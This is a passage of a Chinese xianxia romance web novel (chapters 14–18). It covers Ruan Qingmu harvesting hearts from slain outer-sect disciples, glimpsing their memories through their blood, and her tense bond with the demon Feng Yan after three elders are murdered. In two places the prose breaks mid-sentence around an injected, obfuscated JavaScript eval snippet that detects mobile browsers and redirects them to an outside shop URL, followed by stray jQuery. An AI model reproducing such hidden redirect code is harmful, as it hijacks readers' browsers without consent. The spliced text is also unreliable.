她不再看向炎昀,转身对着温疏良开口:“我去领罚了,师兄代我看着他去药堂。”随即云渡珩便大步离去,头都未回。 什么小姐,不过是宁愿再次叫她小姐都不愿她手指碰他一下罢了。 炎昀默然收回自己的长剑,俯身处理脚下的那具尸身的时候,阮清木才发觉方才围在一堆的弟子们早就走光了,就连何言都不知道什么时候溜走的。 糟了,光顾着看云渡珩了,没人提醒她这种时候不应该凑热闹呀。 温疏良手中掐着术法控制着余下几个发狂的修士,他偏过头,注意到还在原地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16128512|180167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的阮清木。 “我……”阮清木一时无言,她立马捂住心口,慌神地双腿打颤,一副被吓坏站不住的样子。 仔细说来,其实这群修士自从沾染上炎昀的血那一刻起,她便隐隐感到不适,是一种难以名状的异样,仿佛心口处蛰伏着什么活物,就要呼之欲出,冲破她的控制。 只不过方才实在是好奇云渡珩和炎昀间的关系,有些投入,便忘了心口处的难受。 眼下这种不适感又重新出现,阮清木索性装作被吓到的样子。 温疏良投来的视线带着些许的冷意,丝毫不似他平日里那般随和。 是在怪她看见了不该看的东西? 可是又不能装得太过,万一误以为她也要发狂就麻烦了。 她双眼一闭往后一倒,干脆装晕算了。 结果没倒在地上,而是倒在一人的怀里。冷檀香盈满她的鼻间,阮清木才想起身后还有个风宴来着。 风宴没推开她,而是皱着眉看她就这样倒在自己怀中,他下意识伸手扶住她单薄的肩膀,低头恰好就捕捉到她轻颤的睫羽。 装得还能再差点吗? “令妹这是……”温疏良也顿住。 风宴垂眼看向他怀中的阮清木,扶住她肩膀的手间暗自发力,阮清木被他捏得吃痛,但双眼仍紧闭着。 “她今日一早就和我说身子有些不适,强撑了这么久现在又被吓到。”风宴将她打横抱起,“先带她回去了。” 没等温疏良再言语,风宴就抱着她转身离开。 阮清木往他怀中又缩了一下,风宴捏住她肩膀的手卸了些许力道。 就这样靠在风宴的胸前,一路听着他心口处的心跳声。 估摸着已经走远,阮清木才睁开眼,不抬起头的话,她这个角度只能看见风宴的脖颈位置。风宴今日穿的立领衣襟,高耸的衣领将那颈间遮得严严实实,只隐约留下一抹玉白的肌肤在领口若隐若现。 莫不是昨夜长在他颈间的蛇鳞还没有退去? 她下意识地抬手在他脖子上戳了一下。 只是下一秒她就感觉自己好像要被风宴给丢下去,连忙开口:“表哥!” 风宴垂眼看向她。 “这个事,是你做的吗?”阮清木小声贴在他胸前问道。 她的怀疑不是没有来由,风宴蛰伏在云霄宗,肯定不是在这吃喝玩乐,更不可能是为了求仙问道。 风宴面无表情地开口:“不是。” 那怎么刚好被缠住的是炎昀呢? “炎昀其实是表哥的人吧?”阮清木又问。 风宴的表情开始转变得难以捉摸,阮清木分析了一下,他好像在疑惑她怎么会问出这么显而易见的问题。 当初是谁给你走的关系? 阮清木不吭声了。 又过了一会,行至一排垂柳的庇荫下,泠风忽起,吹得风宴衣袂翻飞,他蓦然停下脚步,青丝和高马尾处的发带于风中纠缠,偶尔掺夹着几片柳叶。 阮清木搂紧风宴的脖子,在他怀中又道:“表哥,还有个事。” “别放我下来行吗,我不想自己走。” 15. 第 15 章 阮清木说完这话,便又往风宴怀中缩了缩。她极力克制着心口那股燥意,只觉周身的血气都尽数滞于胸口,血气上涌间,眼前已然有些眩晕。 她紧紧勾住风宴的脖间,怕被他一松手直接丢在地上。 带着暖意的风吹在二人的耳畔,同时还有近在咫尺的呼吸声交叠在一起,就连发丝都彼此纠缠得拂在阮清木的脸上,有些发痒。 风宴垂下眼帘,视线落于阮清木的身上,那双狭长上挑的眼眸微微眯起,如同盘踞在阴影中的蛇,眼底尽是审视。 阮清木今日一身浅绿的烟罗裙,裙身用同色系绣着几枝竹叶,裙摆层叠堆在风宴的臂弯间,腰间系着素缎腰带此时也缠在风宴的另一边手中。 她在他怀中好像一只乞求庇护的小兽,他心中徒然出现有一种陌生的、异样的情绪。她身上的气息瞬间侵略般得萦绕在他鼻间。 风宴蹙着眉,歪头判断了一下,直觉让他手间不自觉地用力,几乎是本能想将她碾碎,绞杀。 阮清木哎呦一声,脑袋彻底靠在他胸前,“表哥你再用力我真的晕了啊。” “我很怕疼的,不喜欢别人暴力对我。” 有一句是真话,有一句是假的。 她将头贴靠过来的一刹,风宴感觉自己那颗原本安稳躺在胸膛里的心被无形之物锤了一下。 堕魔百年间,因他是以妖身入魔道,魔修之间没有什么同门的概念,只有阴毒残暴,弱肉强食。为了活命,他只能自己摸索修炼门路,凭借一些邪门修炼的禁术。 因妖在濒死之时会陷入妖化,犹如回光返照,灵力暴增。所以每隔一段时间,他便会将自己重伤至濒死状态,通过假死来骗过天道,可偷天换日将自己的修为保持在妖化最强时的状态。 譬如与她初遇那一晚,他就是这样做的。 在魔域时,若有人让他稍觉威胁,哪怕只是一丝异样,他也会毫不犹豫地断绝危机,将其杀之。 同样,此刻的他也感受到了这种威胁感。 从未如此刻般这么迫切的想杀了她。 “你之前,不是不愿被人看到与我走得亲近吗?”风宴忽然开口,声线低哑。 阮清木愣住一瞬,她回想了一下,大概是初来云霄宗时她比较害怕被何言看到。 “现在这副模样,又想利用我得到什么?” 这话听来有些耳熟,似曾相识。她想,他之前也这般问过她,那时她不过是想活命,想混进云霄宗。可现在她并没有什么其他想法啊。只是怕他把自己丢下,抱得紧了些…… “没有,只是不想走路,头晕。”阮清木回答得坦然且言简意赅。 风宴蹙起眉,她好像真的很擅长伪装,自从被他看穿魅术之后,她不会在他面前使用那道术法,眼下即便不依靠魅术,也能装得几分真切了。 “如若我哪日杀了这几个道貌岸然的仙门道君,到时必会牵连你这个表妹,难道你不会后悔当初走了我这个关系?” 他眼角微微上挑,斜睨着她。 这个问题,阮清木倒也确实想过。 “那到时候,就说我是被你胁迫来的。毕竟我这样对他人没有任何威胁的小姑娘能做什么坏事呢?”阮清木头埋在他胸前,声音闷闷地飘了过来。 风宴忽地轻笑一声。 她抬起头,望向风宴,“真信了?生气了?” 她观察风宴的神色,眸光不似平日里那般流光溢彩,以往这种时候,他那漂亮的眼眸会化成冷厉竖瞳来吓唬她。 “要不你还是放我下来吧,又不走,光站在这你也挺累的……”阮清木松开箍在他脖颈处的手,可风宴却动了,他用力捏了一下阮清木纤瘦的背,忽然迈开步子接着抱她走了。 比起那种伪装,他喜欢她说真话。 - 云阁章台,薄雾迷离,金光萦绕。 现如今云霄宗是由四大宫宫主执掌,分别是洵青境——云榆生,翎玉峰——祝奇徽,悬澜谷——宁雪辞以及祥声境——琴殊音。 云榆生是云渡珩的祖父,性情十分随和,终日里只知道驾着他那个宝贝仙鹤,在天地间云游四方。剑道修为卓绝,却没什么野心,对飞升成仙之事也是淡然无求,仙门之事更是甩手出去,从不过问。 宁雪辞百年间一直闭关,从不出现。琴殊音自小于仙门修炼时便被祝奇徽压制一头,平日就算想管也力不从心,所以云霄宗眼下一切事务皆由祝奇徽把持着。 昭重殿内,帷幔随风婆娑飘荡,偌大的殿堂中燃着一座香炉不时飘起几缕青烟。温疏良站在殿内,恭敬地对着那缕烟作揖道。 “拜见师尊。” 那缕青烟应了一声,逐渐聚拢,随即光芒流转,汇聚成一道模糊的人影,又是一道金光飘过,一个面相慈善,身着雪白道袍的男子出现在温疏良的面前。 是祝奇徽的一缕神识。 他负手而立,身姿挺拔,看起来约莫三十左右的年轻面容,一身仙风道骨,眉眼冷如深潭。祝奇徽扫了一眼毕恭毕敬的温疏良,鼻子哼了一声:“才多久没见啊,你小子又开始装模作样了。” 温疏良直起身,神色间随意笑着:“师父。” 祝奇徽的神识瞬间飘至温疏良的面前,绕着他飘了一圈,冷笑道:“每次唤我出来都没什么好事。说吧,又怎么了?” 温疏良敛去笑意,正色道:“师父,仙宗的灵脉是愈发混乱了,这事您应该早已知晓吧?今日甚至有几个外门弟子走火入魔伤了同门,他们发狂时实在是难以控制。”他停顿一瞬,接着道:“所以情急之下,徒儿失手将那发了狂的弟子给杀了。” 祝奇徽听完,眉心拧起:“唔……” 他眼神微微一凝,眉毛轻挑,眸光锐利地审视着温疏良,缓缓开 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琴殊音与祝奇徽是同期,将音修修炼到极致,动静之间哪怕是一呼一吸也能调起波澜,极为玄妙。但云霄宗以剑道闻名纵横四海,目前门内四大宫主也只有她不是剑修,所以琴殊音的地位多少有些微妙。 不过祝奇徽倒也对她这幅模样见怪不怪,不仅不动怒,那缕神识反倒在偌大的殿内四处游荡起来,“玄音道君你这是哪里的话,不过小事一件,要不是我这乖徒执意唤我,我都不会插手此事,只让他一人处理就可以了。” 温疏良也点头道:“是啊,师父他……”结果瞬间被琴殊音一道厉色的眸光瞪住,他只好噤声。 “哼,小事?”她的神魂冲在祝奇徽的面前将他拦住,“仙门地下的灵气运转已经失衡许久了,现在那群外门弟子已经显现出来,过不了多久会有越来越多弟子失控反噬,你敢说这也是小事?” 温疏良在旁蹙眉听着,一言不发地候在原地。 “还有那长生树……”琴殊音说到一半便被祝奇徽打断。 “你也说了,失控反噬的都是那群外门弟子,这群弟子本就资质差些,私下里不知从哪学了歪门邪术,正赶上近期灵脉稍微有些不稳,就容易走火入魔。” 祝奇徽叹了一声:“我已传讯给云榆生那老头了,等他回来,到时我们三人一起商议灵脉之事。你莫要冲动嘛。” 他朝温疏良挥了挥手,温疏良立即心领神会,转身便向外走去,留琴殊音争论的声音在昭重殿内层层盘旋。 转身之前,祝奇徽深盯了他一眼,好似看穿了他心中想问却还没来得及的问题。他想问师父,余下那几位外门弟子应如何处理。 祝奇徽的神识带着笑意:“杀。” 16. 第 16 章 时至深夜,竹胥居。 屋内只有阮清木一人,风宴不在。她一个人在床榻上翻来覆去,只因她一闭上眼,就能感知到,白天那几个忽然发狂的修士被温疏良带走后,就被悄无声息地全部了结了。 不仅如此,就连这几个修士的尸身被丢在哪里,都知道得一清二楚。 她缓缓睁开眼,漠然盯着头顶上方的房梁。 之前她刚穿进来时,为了维持人形要不断找寻新的心脏,那时的她并不能感知到哪里又死了什么人,只能偶尔靠着系统给的信息,偷偷摸过去。 眼下也不知是否因这幅身子的灵力提升,她居然可以直接感应到这群修士在哪死的,尸身又被丢弃在何处。 比之前方便多了,可她现在却用不上了。 但是一闭眼就是那几个尸身躺在山间的场面,她实在受不了,最终还是起身坐了起来。 虽然这些死人的心她是不能放在自己的体内使用了,但是上面的修为和灵力还是有些用处的。 而且没准把这些心都挖了,这些感应也就自动消失了。顺便还能涨涨灵力,这东西又不嫌多。 - 夜幕之下,她独自沿山路走着,夜风掠过林梢时发出簌簌声响。这条路通往云霄宗的后山,虽越走越僻静,但大概是因为仍在仙门地界,所以并不觉着恐怖。 月光盈撒在阮清木那身素白的长袍上,把她映得莹然生辉。 又绕过一个河道,她终于是寻到了白天那几个忽然发了狂的修士,几道尸身随意被丢在林间。 环视四周,确认四下空无一人,她掏出袖中的匕首,扫见左手间的那道咒印,思索后,还是换成了右手。 掌心划出一道伤口,她小声念出咒诀:“天地自然,秽气分散。” “三魂永久,魄无丧倾。” 阮清木将手朝着一道尸身探去。 一切进展得极为顺利,第一颗心到手,因为此心不会再融入她的体内,她只能将心脏上的修为和灵力汲取。 随即她又摸向第二个弟子的尸身,照例将其取出之后,收下了心脏上原身的修为和灵力。 取完两颗心脏,她便开始闭目调息。这几日她一直试着引气修炼,逐渐掌握自己体内灵力的运转。已取了两颗心脏,按理来说,她会对自己的灵力增长有所感应。 可她静坐调息良久,将灵识于体内四处探寻,却什么都没有感觉出来。这就多少有些奇怪了,哪怕是微末的灵力波动,也应该有所感应才对。 而且不知是何原因,她觉着夜风吹得她有些冷,温度骤降,背后好似被人泼了冷水,寒意顺着她脊背蔓延。 她打了个寒颤,想着是再取一颗还是先回去。 忽然一道幽幽的声音自她身后响起:“你在做什么?” 阮清木着实被吓了一大跳,她猛地回过头,不知道风宴什么时候出现的,也不知在她身后站了多久。 风宴的眉眼间凝着几分疑惑,细看着,那目光又带有些阴沉正悄然笼在她身上。 他一身黑色紧衣,与黑夜几乎融为一体,白得渗人的面色,如墨的长发依旧高高束起,衣袍下摆之上蜿蜒盘踞着暗红色的绣纹,是他这身唯一的颜色。 风宴俯下身半跪在地上,看着阮清木,他又问了一遍:“在做什么?” 这不是很明显吗? 阮清木回道:“在取这些修士的心,上面还有原身的修为和灵力,不拿就这么浪费了怪可惜的。” 怎么说也取了两颗心,既然她先前出手时,可以借用风宴的修为,那她刚汲取的灵力,风宴应该也是有感觉的吧? 有可能是她对于自己灵息的感悟还不够,所以感受不到灵力变动。 但风宴不同,他这种实力的肯定对自身的灵息掌握得更精湛。 “你没感觉到自己的灵力有所波动吗?”她对风宴问道。 风宴斜睨了她一眼,缓缓道:“没有。” 阮清木手中动作顿住。 也有可能,他这是在暗示自己修为实在太高,这点修为于他而言几乎可以忽略不计? 她垂眸看向右手掌心,那道伤口一不再渗血,阮清木毫不犹豫地再次划下,刀刃在她手中割开一道新的伤口,血珠猛地涌出。 “那我再取一个,你再感受一下。” 说完她便将手摸向第三个尸身。阮清木还是第一次遇到有这么多心要取的情况,第三次顿然觉着有些耗神,额间渗出一层冷汗,强忍着才将这第三颗心取出。 风宴陡然将她的腕骨握住,他把阮清木往他身旁拉了一下,望着那颗浮于她掌心之上的第三颗心脏。 这颗心晶莹靓丽,看起来上面的确充沛着原主的所有修为和灵力。 只是…… 这层萦绕在心脏之上的灵光,好似不是原主的灵力,更像是某种禁制术法。 他指间运力,轻触那颗心。骤然间,那术法好似被破掉一般,灵光飘散,整个心脏失去光泽,黯然掉落回阮清木的手中。 “……” 阮清木怔住,她看向这颗忽然没了灵力,无力掉在她手中的心脏。 这颗被风宴解开禁制后失去灵光,更像块无用的石头。 可这怎么可能呢?她连夜找到的尸身,刚取出的心脏,上面的修为和灵力居然已经不存在了? 是有人在更早的时候就将这些修士身上的灵力采补走了? 可是既然已经渡走他们的灵力,又为何多此一举的在上面加一道禁制术法? 她又举起手中的匕首,风宴蓦地将她拦住,他淡淡瞥了一眼阮清木将自己划烂的手心,道:“这几个都是外门弟子。” 他将地上一具尸身的发带解下,阮清木看清发带上的纹样,虽然与内门弟子的发带一样是湖青色打底,但尾端很明显没有那节云纹。 风宴的意思是指,这群外门弟子不值得有人将他们的修为采补取走,再设个禁制术法来欲盖弥彰。 “可是这群外门弟子居然可以和云渡珩和炎昀打得有来有回。”阮清木心中实在是疑惑。 她忍不住探身查看这几具尸身,掌心仍往外溢出的血与一具尸身上的血痕重叠。 陡然间一抹不知名的记忆闯入她的识海之中。 天光渐沉,落日染红半边天际,江面泛着粼粼波光。一艘船静静泊在岸边,船头随着江水轻轻摇晃。 “娘!我此行是去求仙问道,您哭什么呀!”青年胡乱地抹掉自己颊间的泪痕,头也不回地一步踏上船。 青年一身粗麻布衣,胸口处的布料已有些磨损,但全身的衣服被浆洗得干干净净。朴素的衣衫勾勒出他清瘦却坚韧的身形,背后一个灰布包裹便是他全部行囊。 “到了云霄宗,我一定会成为仙宗的内门弟子,闯出一片天地的。”他背对着岸上抹泪的妇人,冲着远处高喊。 画面变换,江面扭曲消失,一束晨光闯入眼前。 舍屋内一个青年埋在案前写着家书:娘,孩儿一切安好,这丹药记得按时服用,对身体有益。过不了多久孩儿就能出山擒拿妖魔,仙门内的师尊和师兄们也都极为照顾我…… “陆棋!今日你当值,怎么还不出来!”门外有人唤他,青年只好放下手中纸笔,路过门口时拾起倒在地上的尘帚,应了一声,连忙跑至院中打扫。 寒风卷着枯叶在地上打着旋儿,那个在江岸与母亲拭泪告别的青年此时着一身粗布道袍,躬身埋头清扫着院落,他动作熟练,脸上还对那背手而立的师兄陪着笑:“想给家中老母寄封家书,所以耽搁了一会,师兄莫生气。” 那人鼻子冷哼一声:“甭找什么借口,下次再这般懒散,就自己去戒律堂领罚。”说完便拂袖而去。青年只好低头继续手中洒扫的动作,扫着地上怎么也扫不尽的落叶。 阮清木将手挪开,从这段不知名的记忆中抽离出来。 什么情况……她居然看到此人生前的记忆。 她下意识回头望向风宴,他没什么反应。 看来她识海中看到的这些记忆,只是一瞬间的事情。 阮清木将信将疑地将手放在了另一个弟子身上,看面相是个漂亮的小姑娘,这弟子身上没什么血迹,她用刀在小姑娘手心划了一下,抬手接住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16132413|180167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伤口处流出的血。 果不其然,阮清木触到那弟子的血后,她又看到了。 天蒙蒙亮,一座府邸的朱红大门紧闭着,府邸后门的小巷里探出一个娇小的身影,怀中抱着个沉甸甸的包袱,行步匆匆。走到巷子深处,一只手突然从她背后搂了上来,将她胸前的包袱接过。 小姑娘扭过头,她是趁悄悄溜出来的,也没顾上梳妆打扮,发髻凌乱,却对身后之人绽开笑颜:“凌哥哥!” 那少年眉眼俊朗,他笑着将手指抵在她的唇瓣上,“小声点,跟我来。”二人牵手跑了起来,消失在深巷之中,脚步声渐远,巷内寂静无声。 忽然一声抽泣声响起,云霄宗人山人海的映晖台前,少年一脸愁容地拭着少女脸上的泪痕。只因她是资质奇差的四灵根,被云霄宗拒之门外,连外门弟子的资格都混不上。可是那少年却被选中。 “怎么办凌哥哥,我不想和你分开,我也回不去了,若是我现在回家,爹会打断我的腿。”她哭着哭着便蹲到了地上,捂着脸。 少年叹了一声,他将她从地上扶起,“我们去录名阁再问问,若还是不行,我也不留这了。” 这少女是锦安县令苏正山的女儿,苏婧空。二人在录名阁前与其弟子交涉了很久,因她的凌哥哥,凌无相是罕有的变异风灵根,他坚持要苏婧空与他一起修行才肯留在云霄宗。 把那弟子为难得实在没办法,去问了门下长老,许久才从录名阁出来,最终松口,若苏婧空能呈上普通弟子五倍的束脩费用,便可留她做个外门弟子。 苏婧空顿时破涕而笑,只要能和凌哥哥在一起就好,钱不过是她人生中最不算烦恼的烦恼了。 良久,阮清木才缓过神来,这抹记忆中明明她最后笑得那么开心,却始终被一股难以言说的悲伤笼罩着,挥之不去。这股悲伤的情绪也席卷了阮清木的识海,她的心忽然跟着抽痛了一下。 “怎么了?”风宴在她身旁问道。 阮清木收回手,并不打算说出她看到的记忆。因那些记忆的主人大概并不希望被人窥视到,且她自己都不清楚通过血来窥视对方的记忆,到底是怎么一回事。 之前取他人心脏时,也有过沾上那些留在原尸身上的血痕的情况,但并没有因此看到对方的记忆。 加之这些修士白天忽然入魔发狂的时候,她心口抑制不住的躁动,都说明,她应该是和这些修士有所联系。 只是,没搞清楚他们之间到底是何关联之前,她还是不要先暴露的好。 “没什么,只是好奇这些人看起来与寻常弟子没什么不同,为什么心脏上没了原身的灵力和修为。”她顿了顿,“上面的禁制又是谁留下的?” 明明都将他们杀了,还要留下禁制制造假象,有这个必要? 忽然间她意识到了什么。 对,人都死了,谁会在乎这几具尸体呢?就算想用采补这种邪术来盗取他人的修为,也不会在这些灵力不高的人身上下手。 所以这禁制是在他们生前就被设下的。 可又是为何设下这道禁制呢…… 风宴冷眼瞧着地上那些弟子,没回阮清木的问题,只淡淡问了一句:“那还取吗?” 阮清木摇了摇头,“不要了。” 她不打算多管闲事,更何况眼下对着这几具尸体什么也查不出来。 风宴撑地起身,“那就早些回去休息。” 阮清木比较讶异风宴居然会说回去休息这种话,她这才接着月光注意到,风宴的脸色比以往看起来要更煞白一些,唇间没有一丝血气,他身上居然透着少见的虚弱感。 怪不得他方才站在她身后时,给人一种阴恻恻的感觉。 她没忍住抬手戳了他一下。 能摸得到,不是鬼。 其实阮清木不知道的是,她自己现在也没好到哪去。她一身素白的长裙,在夜中就像是月光凝成的人影,长发随意披着,几缕青丝拂过雪白的脖颈,手上还沾满鲜血,看起来也不太像个活人。 风宴被阮清木戳到之后皱了一下眉。 他忽然抬手,戳了回去。 17. 第 17 章 第二天一早,云霄宗门内就传出一件大事。 仙宗昨夜有三位长老被杀,门下弟子发现之时,那三人都横死在自己的洞府之中,头骨被捏得稀碎,仅有一位的脑袋保留了下来,却也面容扭曲,似是在临死前感受到极大的恐惧。三人被扒皮抽筋,就连脊骨都被活活抽出,残忍诡异地盘在他们自己的本命灵剑,然后插在洞府的墙上。 方位全都直指现如今宁雪辞闭关之处——悬澜谷。 事情发生得太过突然,连祝奇徽都尚未来得及现身□□仙门,消息就已经传开,震惊整个云霄宗上下。 仙宗内外顿然人心惶惶,并将此事与之前弟子频发走火入魔归结在了一起,如此残暴的手法不似寻常妖魔所为,更像是与宁雪辞有血仇,在通过这种方式逼她出关。 只是纵然这消息已传遍了云霄宗上下,却也没传到阮清木的耳朵里。 直到一早上房门被敲响时,她才从床榻上爬起,日光将门外的人影投在门旁的窗棂上,是何言。 阮清木随手拎起个毯子蒙在风宴的脸上,确认一下站在门口是看不见她床上还有个人的,这才推门出去。 不知是不是上次风宴靠双生魂契将她唤醒时,二人的神魂有了一些微妙的接触,自那之后,阮清木会时不时地想贴近风宴。 昨夜他就躺在她的床榻上,呼吸声轻得几乎听不见。因为竹胥居只是普通弟子常住的寝居,床榻也就是比单人床要宽一点而已,虽然风宴身形瘦削,躺在她身侧却依旧很有存在感。 而且他身上冷得吓人,好似将周围的温度都抽走了,单是在他身旁都能感受到寒意。他似乎是真的很疲惫,面容失了血色,一身黑色紧衣,趁得他的脸庞苍白如月下的霜雪,眉目紧锁。 见他这幅模样,阮清木虽然做不了什么,但起码克制了自己想抱着他睡的冲动。 直到何言将她房门敲响,风宴都没什么反应。所以她只好将他藏起,自己偷偷溜了出去。 一到何言的房内,手中就被塞了一块玉石。阮清木低头望去,那玉石剔透明亮,几道符文印在上面,微弱的灵力顺着她指间传来。 “这传讯符你收着,我给我每个朋友都留了一个,仙门内有什么消息记得给我发。”何言说完,便走到木桌旁,继续收拾着桌上的包裹。 “怎么了?你这要去哪?”阮清木问道。 何言皱着眉,神色看起来十分不安,她只摇了摇头,“不能说,总之烦得很。家里就没有一个人能让我省点心。” 她使劲往包裹里装着东西,阮清木都没见过这么多灵器,看起来都大有用处,只是她一个都不认识。要不是何言说手中这个是传讯符,她还以为是块玉呢。 直到将储物囊整整装满了三包,何言才将储物囊其收回于掌中。 收拾完,她想起什么似的,对阮清木说道:“昨夜有三个长老被杀了。” 阮清木神色一僵,何言又接着道:“我就知道你什么都不知道,现在云霄宗好像比我想象得还不太平,不过刚好我可以趁乱下山处理家事,你自己一个人注意点。要是害怕,晚上就把你那什么表哥叫来陪你。” “不过要是真碰上点什么,你那表哥看样子也扛不了什么事。” 阮清木忍不住扶住额角,只怕这三个长老都是他杀的。 何言又走到柜子旁,从里翻出几个话本交给阮清木,“要是有人来借,你就帮我按三日一灵石去收费,到了三日没还就记得帮我收回来啊。”她又补了一句,“你要看的话免费。” ……那还真是谢谢了,阮清木替她收好后问道:“你要走多久?” 何言叹了一声:“不好说啊,顺利的话就十天半月,不顺利的话……” “我就不回来了。” 阮清木看了她一眼,何言忽然笑出来:“骗你的!我还得回来收钱呢。” - 将何言送走后,阮清木回到自己房内。 风宴仍是躺在她的床榻上,脸上蒙着她出门前随意甩在他身上的毯子。 怎么这么久都一动没动的? 她连忙上前,刚一掀开毯子,就见风宴那张煞白的小脸缓缓睁开眼睛,笑盯着她,好似在等她将这毯子掀开一样。 阮清木的动作顿住,风宴的唇边噙起一丝笑意,“以为我死了?” 她看着风宴的面色虽仍有一种不健康的惨白,但眉眼间不再那般疲倦,她点了点头:“是啊,所以现在有点失望。” “出去一圈可有打听到什么?”风宴撑起头,整个人慵懒地半倚在阮清木的床榻上,随意开口问道。 阮清木看着他这幅模样,假意皱起眉:“打听到……我好像有个了不得的表哥呢,可千万不要连累到我才好。” 话音刚落,风宴便陡然抓住她的手腕,一把将她扯过,阮清木失去重心栽倒在他身上。 她眼睛惊得睁大,少年扬起他的唇角,松垮的领口露出他布满墨色蛇鳞的脖颈,喉间上下滚动时带着上面的鳞纹起伏。 “说起来,我们已经算是道侣了。” 阮清木有些紧张地抿起唇,她有临时补习过这类知识,他们之间最多只是因为双生魂契,名义上的道侣罢了。 风宴接着道:“道侣之间可是要同生死,不离弃的。” 阮清木给自己翻译了一下,大致是在警告她,要是他死了会顺手带走她。 不过她不认为原书中的最终大反派会轻易暴露自己,又将她一起拖下水。显然他既然敢连杀三位长老,就说明他有隐瞒自己所为的实力。 窗外斜斜映下的日光照在她微颤的睫羽上,她眼眸弯起,“我不会背叛表哥的。” 她浓黑的眸子明亮,如秋水般流进风宴的眼中,全然看不出是真心还是假意。 可谁料房门忽然被叩响三声,同时系统提示音出现,阮清木神色顿然僵住。面板弹出,机械系统女声响起:“触发恶女任务,宿主需对男主温疏良进行第一次情感暗示,让他认为你对他已产生好感。” 阮清木怔在那,因为面板弹出,时间静止,她的腕骨还被风宴死死地攥着,而温疏良此 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她眸光亮亮地盯着他,温疏良一怔,却只是一瞬便恢复如常,轻笑道:“可知道你表哥现在何处?今一早我去他住所寻他,没见到人。上次问他借了不少灵材炼化灵器,本想着等我慢慢找齐了再一并还他,谁承想……” “谁承想仙门又出了如此恶劣残暴之事。”他眉心拧起,语气沉重,“过几日我会带着几个弟子出山调查,所以还要再找你表哥借些灵材。” 他抬眼望向阮清木,她顺势装作一副失落神情,将头微低下,却依旧乖巧地开口:“温师兄受累了,仙门长老遇害之事我也听闻了。”她叹了一声,接着道:“可我表哥昨日就不在宗门,他听说我想学剑道,就特意下山,想为我寻把世家名剑。” “虽然我也不知他几日能回,但等他一回来,我就立马告知你,可好?” “好。”温疏良闻言忙回道:“那就多谢表妹了。” 说完他便转身要走,阮清木眼疾手快地扯住他的衣角。温疏良回过身,问道:“怎么了,表妹?” 阮清木不言语,面上带着些恼意,一时间脸颊竟急得有些红晕,半响,她才开口:“温师兄为何也唤我表妹?” 温疏良轻笑一声:“你是风宴的表妹,自然也就是我的妹妹。” 她微抬眼帘,眸子随着视线渐渐落于温疏良的身上,最终望向他,“那温师兄今日来找我,只是找我表哥,就……” “就没有别的话想与我说了吗?” 温疏良怔住,他想了想,道:“这些时日,门内长老应该不会再给新入门的弟子授课了,若你自行修炼时有不懂的地方,尽管来找我就是,只要我还在这。” 阮清木扣住他衣角的手没有松开,反而加了力道,“若我不想和你讲修炼之事,想与你讲些别的呢?” 话未说完,她身后的屋内骤然平地卷起一袭寒风,寒意猛地贴在她的背上,黏腻湿润的蛇鳞擦着她的脊背爬过,阮清木身子一颤。 她微侧过头,余光扫向屋内,原本躺在她床上被毯子盖住的风宴此时不知去向,榻上竟空无一人。 18. 第 18 章 阮清木只觉得脑中一片空白,她手中还勾着温疏良的一抹衣角,不经意地用力抓得更紧,骨节泛白。 她清晰地感觉到那蛇在她的衣襟内顺着她的身体向上爬着,蛇身还散发着幽寒的凉意,滑腻的蛇鳞挂着她的肌肤,一寸一寸地蚕食着她最后的理智。 像某种警告。 如果此时没有魅术遮在脸上,只怕她早已骇然失色。 庭院中明明春风温柔和煦,吹在她身上的却朔风刺骨,好似有尖刀戳在她的身上。 温疏良上前一步挡住日光,在她身上投下一道阴影。他笑看着阮清木低头娇羞的样子,柔声道:“当然可以,我既把你当做妹妹来看,就算不是修炼之事,也可以同我讲。” 她紧抿嘴唇,思索着要怎么开口才不会招惹到身后的人。 “不是妹妹,是……”窒息感瞬间袭来,脖间好似被蛇身缠住后猛然缩紧,她忽然无法呼吸。 阮清木下意识地抓向自己的脖间,却什么都没有。她说不出话来,憋得就连施着魅术的脸都浮上一层诡异的红晕。 她开始后悔刚才怎么没用那毯子直接把风宴捂死呢…… 只不过在温疏良的视角来看,阮清木的颊间羞红,眼神躲闪,手都紧张得不知该放哪,话也说不出。一副少女怀春却又羞于开口的样子。 温疏良对她这幅模样实在是有些见怪不怪了,毕竟他相貌风流俊逸,实力又是仙门第一流者,行事待人却毫不张扬,对他有倾慕之心的姑娘实在不要太多。 更何况初见时,自己还是她的救命恩人。 他多少是能猜到阮清木这番态度后的小心思。 像他这种天之骄子身边从不乏倾慕者,早已习以为常,甚至有些麻木。但要说这种情感,也不能算做是爱。他知道这不过是小姑娘一种对强者天然的向往和崇拜罢了。 他轻将衣角从阮清木的手中抽出,笑道:“就算不是表妹,那你也是我的师妹,没什么区别。” 骤然间阮清木脖间的禁锢感消失,她猛地深吸一口气,刚要接着说,可一时间竟有一只无形的手抚在她的后颈。 “……温师兄。”她声音有些颤。 那只手顺着她的后颈绕着她的脖子轻抚了一圈,最后横在她的胸前,以一种环抱的姿势将她束住,锁住了她。 甚至好像还有一道若有似无的吐息掠过耳际,惹得她浑身发起一阵酥麻的战栗。 温疏良看向她。 阮清木眼一闭心一横,她往前踏出一步,离温疏良更近,身后禁锢她的人也被她带得往前。 “我害怕,温师兄我真的好怕。最近仙门一直有祸事,我甚至怀疑我的房内有脏东西。” 说完,她耳边好像响起一声极轻的笑,心口处的半颗心也猛地抽动了一下。 